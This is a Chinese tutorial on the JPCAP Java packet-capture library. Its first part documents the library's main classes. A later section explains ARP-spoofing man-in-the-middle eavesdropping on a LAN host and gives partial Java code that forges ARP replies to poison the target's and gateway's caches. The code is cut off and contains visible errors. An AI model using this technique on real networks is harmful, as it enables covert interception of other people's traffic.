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JPCAP——JAVA中的数据链路层控制
 
一.JPCAP简介
众所周知,JAVA语言虽然在TCP/UDP传输方面给予了良好的定义,但对于网络层以下的控制,却是无能为力的。JPCAP扩展包弥补了这一点。
JPCAP实际上并非一个真正去实现对数据链路层的控制,而是一个中间件,JPCAP调用wincap/libpcap,而给JAVA语言提供一个公共的接口,从而实现了平台无关性。在官方网站上声明,JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统。
二.JPCAP机制
       JPCAP的整个结构大体上跟wincap/libpcap是很相像的,例如NetworkInterface类对应wincaptypedef struct _ADAPTER  ADAPTERgetDeviceList()对应pcap_findalldevs()等等。 JPCAP有16个类,下面就其中最重要的4个类做说明。
 
1.NetworkInterface
该类的每一个实例代表一个网络设备,一般就是网卡。这个类只有一些数据成员,除了继承自java.lang.Object的基本方法以外,没有定义其它方法。
 
数据成员
NetworkInterfaceAddress[]
addresses
    这个接口的网络地址。设定为数组应该是考虑到有些设备同时连接多条线路,例如路由器。但我们的PC机的网卡一般只有一条线路,所以我们一般取addresses[0]就够了。
 java.lang.String
datalink_description.
    数据链路层的描述。描述所在的局域网是什么网。例如,以太网(Ethernet)、无线LAN网(wireless LAN)、令牌环网(token ring)等等。
 java.lang.String
datalink_name
   该网络设备所对应数据链路层的名称。具体来说,例如Ethernet10M、100M、1000M等等。
 java.lang.String
description
   网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述:Realtek RTL8169/8110 Family Gigabit Ethernet NIC
 boolean
Loopback
    标志这个设备是否loopback设备。
 byte[]
mac_address
   网卡的MAC地址,6个字节。
 java.lang.String
Name
    这个设备的名称。例如我的网卡名称:\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}
 
2.JpcapCaptor
该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接,可以通过该类的实例来控制设备,例如设定网卡模式、设定过滤关键字等等。
 
数据成员
 int
dropped_packets 
抛弃的包的数目。
protected  int
ID
    这个数据成员在官方文档中并没有做任何说明,查看JPCAP源代码可以发现这个ID实际上在其JNIC代码部分传进来的,这类本身并没有做出定义,所以是供其内部使用的。实际上在对JpcapCator实例的使用中也没有办法调用此数据成员。
protected static boolean[]
instanciatedFlag
   同样在官方文档中没有做任何说明,估计其为供内部使用。
protected static int
MAX_NUMBER_OF_INSTANCE
同样在官方文档中没有做任何说明,估计其为供内部使用。
int
received_packets
        
收到的包的数目
方法成员
static NetworkInterface[]
getDeviceList()
          
返回一个网络设备列表。
static JpcapCaptor
openDevice(NetworkInterface interface, int snaplen, boolean promisc, int to_ms)
        
创建一个与指定设备的连接并返回该连接。注意,以上两个方法都是静态方法。
      Interface:要打开连接的设备的实例;
      Snaplen:这个是比较容易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包,而是限制每一次收到一个数据包,只提取该数据包中前多少字节;
      Promisc:设置是否混杂模式。处于混杂模式将接收所有数据包,若之后又调用了包过滤函数setFilter()将不起任何作用;
      To_ms:这个参数主要用于processPacket()方法,指定超时的时间;
 void
Close()
          
关闭调用该方法的设备的连接,相对于openDivece()打开连接。
 JpcapSender
getJpcapSenderInstance()
         
该返回一个JpcapSender实例,JpcapSender类是专门用于控制设备的发送数据包的功能的类。
 Packet
getPacket()
          
捕捉并返回一个数据包。这是JpcapCaptor实例中四种捕捉包的方法之一。
 int
loopPacket(int count, PacketReceiver handler)
         
捕捉指定数目的数据包,并交由实现了PacketReceiver接口的类的实例处理,并返回捕捉到的数据包数目。如果count参数设为-1,那么无限循环地捕捉数据。
      这个方法不受超时的影响。还记得openDivice()中的to_ms参数么?那个参数对这个方法没有影响,如果没有捕捉到指定数目数据包,那么这个方法将一直阻塞等待。
PacketReceiver中只有一个抽象方法void receive(Packet p)
 int
processPacket(int count, PacketReceiver handler)
          
loopPacket()功能一样,唯一的区别是这个方法受超时的影响,超过指定时间自动返回捕捉到数据包的数目。
 int
dispatchPacket(int count, PacketReceiver handler)
        
processPacket()功能一样,区别是这个方法可以处于“non-blocking”模式工作,在这种模式下dispatchPacket()可能立即返回,即使没有捕捉到任何数据包。
 void
setFilter(java.lang.String condition, boolean optimize)
          .
condition设定要提取的包的关键字。
       Optimize:这个参数在说明文档以及源代码中都没有说明,只是说这个参数如果为真,那么过滤器将处于优化模式。
 void
setNonBlockingMode(boolean nonblocking)
     如果值为“true”,那么设定为“non-blocking”模式。
 void
breakLoop()
     当调用processPacket()loopPacket()后,再调用这个方法可以强制让processPacket()loopPacket()停止。
 
3.JpcapSender
该类专门用于控制数据包的发送。
 
方法成员
 void
close()
         
强制关闭这个连接。
static JpcapSender
openRawSocket()
     这个方法返回的JpcapSender实例发送数据包时将自动填写数据链路层头部分。
 void
sendPacket(Packet packet)
          JpcapSender
最重要的功能,发送数据包。需要注意的是,如果调用这个方法的实例是由JpcapCaptorgetJpcapSenderInstance()得到的话,需要自己设定数据链路层的头,而如果是由上面的openRawSocket()得到的话,那么无需也不能设置,数据链路层的头部将由系统自动生成。
 
4.Packet
这个是所有其它数据包类的父类。Jpcap所支持的数据包有:
ARPPacketDatalinkPacketEthernetPacketICMPPacketIPPacketTCPPacketUDPPacket
 
三.使用JPCAP实现监听
       1.监听原理
       在详细说用JPCAP实现网络监听实现前,先简单介绍下监听的原理。
       局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段,局域网的布局是使用总线式(或集线式)结构,要到达监听只需要将网卡设定为混杂模式即可,但现在的局域网络普遍采用的是交换式网络,所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的,我们需要“欺骗”路由器、“欺骗”交换机,即“ARP欺骗”技术。
       假设本机为A,监听目标为B。
首先,伪造一个ARP REPLY包,数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址,而源IP部分填入网关IP,目的地址填入B的MAC、IP,然后将这个包发送给B,而B接收到这个伪造的ARP REPLY包后,由于源IP为网关IP,于是在它的ARP缓存表里刷新了一项,将(网关IP,网关MAC)刷新成(网关IP,A的MAC)。而B要访问外部的网都需要经过网关,这时候这些要经过网关的包就通通流到A的机器上来了。
接着,再伪造一个ARP REPLY包,数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入网关MAC、IP,然后将这个包发给网关,网关接收到这个伪造的ARP REPLY包后,由于源IP为B的IP,于是在它的ARP缓存表里刷新了一项,将(B的IP,B的MAC)刷新成(B的IP,A的MAC)。这时候外部传给B的数据包经过网关时,就通通转发给A。
这样还只是拦截了B的数据包而已,B并不能上网——解决方法是将接收到的包,除了目的地址部分稍做修改,其它原封不动的再转发出去,这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。
 
ARP数据包解析
单元:Byte
Ethernet头部
ARP数据部分
2
2
2
2
目标MAC地址
源地MAC地址
类型号0x0800:ip
0x0806:ARP
局域网类型
以太网0x0001
网络协议类型
IP网络0x0800
MAC/IP地址长度,恒为0x06/04
ARP包类型
REPLY
0x0002
ARP目标IP地址
ARP目标MAC 地址
ARPIP地址
ARPMAC地址
 
2.用JPCAP实现监听
       就如上面说的,为了实现监听,我们必须做四件事:
A.发送ARP包修改B的ARP缓存表;
B.发送ARP包修改路由ARP缓存表;
C.转发B发过来的数据包;
D.转发路由发过来的数据包;
 
下面我们给个小小的例子说明怎样实现。
我们假定运行这个程序的机器A只有一个网卡,只接一个网络,所在局域网为Ethernet,并且假定已经通过某种方式获得B和网关的MAC地址(例如ARP解析获得)。我们修改了B和网关的ARP表,并对他们的包进行了转发。
public class changeARP{
         private NetworkInterface[] devices;                           //设备列表
         private NetworkInterface device;                               //要使用的设备
         private JpcapCaptor jpcap;                                        //与设备的连接
         private JpcapSender sender;                                       //用于发送的实例
         private byte[] targetMAC, gateMAC;                       //BMAC地址,网关的MAC地址
         private byte[] String targetIp, String gateIp;              //BIP地址,网关的IP地址
         /**
         *初始化设备
         * JpcapCaptor.getDeviceList()得到设备可能会有两个,其中一个必定是“Generic
*dialup adapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。
*注意:在这里有一个小小的BUG,如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
*JFame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡。
*虚拟网卡只有MAC地址而没有IP地址,而且如果出现虚拟网卡,那么实际网卡的MAC将分
*配给虚拟网卡,也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00
         */
         private NetworkInterface getDevice() throws IOException {
                  devices = JpcapCaptor.getDeviceList();                                                 //获得设备列表
                   device = devices[0];                                                                                //只有一个设备
                   jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);             //打开与设备的连接
                   jpcap.setFilter(“ip”,true);                                                                       //只监听BIP数据包
                   sender = captor.getJpcapSenderInstance();
         }
         /**
         *修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表,所以必须每隔一
         *段时间就发一次包重新更改B和网关的ARP表。
         *@参数 targetMAC           BMAC地址,可通过ARP解析得到;
         *@参数 targetIp                 BIP地址;
         *@参数 gateMAC              网关的MAC地址;
         *@参数 gateIp                     网关的IP;
         */
         public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
                            throws UnknownHostException,InterruptedException {
                   this. targetMAC =  targetMAC;
                   this. targetIp =  targetIp;
                   this. gateMAC = gateMAC;
                   this. gateIp = gateIp;
                   getDevice();
                   arpTarget = new ARPPacket();                                                     //修改BARP表的ARP
                   arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;          //选择以太网类型(Ethernet)
                   arpTarget.prototype = ARPPacket.PROTOTYPE_IP;                //选择IP网络协议类型
                   arpTarget.operation = ARPPacket.ARP_REPLY;                         //选择REPLY类型
                   arpTarget.hlen = 6;                                                                        //MAC地址长度固定6个字节
                   arpTarget.plen = 4;                                                                        //IP地址长度固定4个字节
                   arpTarget.sender_hardaddr = device.mac_address;                       //AMAC地址
                   arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress();       //网关IP
                   arpTarget.target_hardaddr = targetMAC;                                               //BMAC地址
    &nbs
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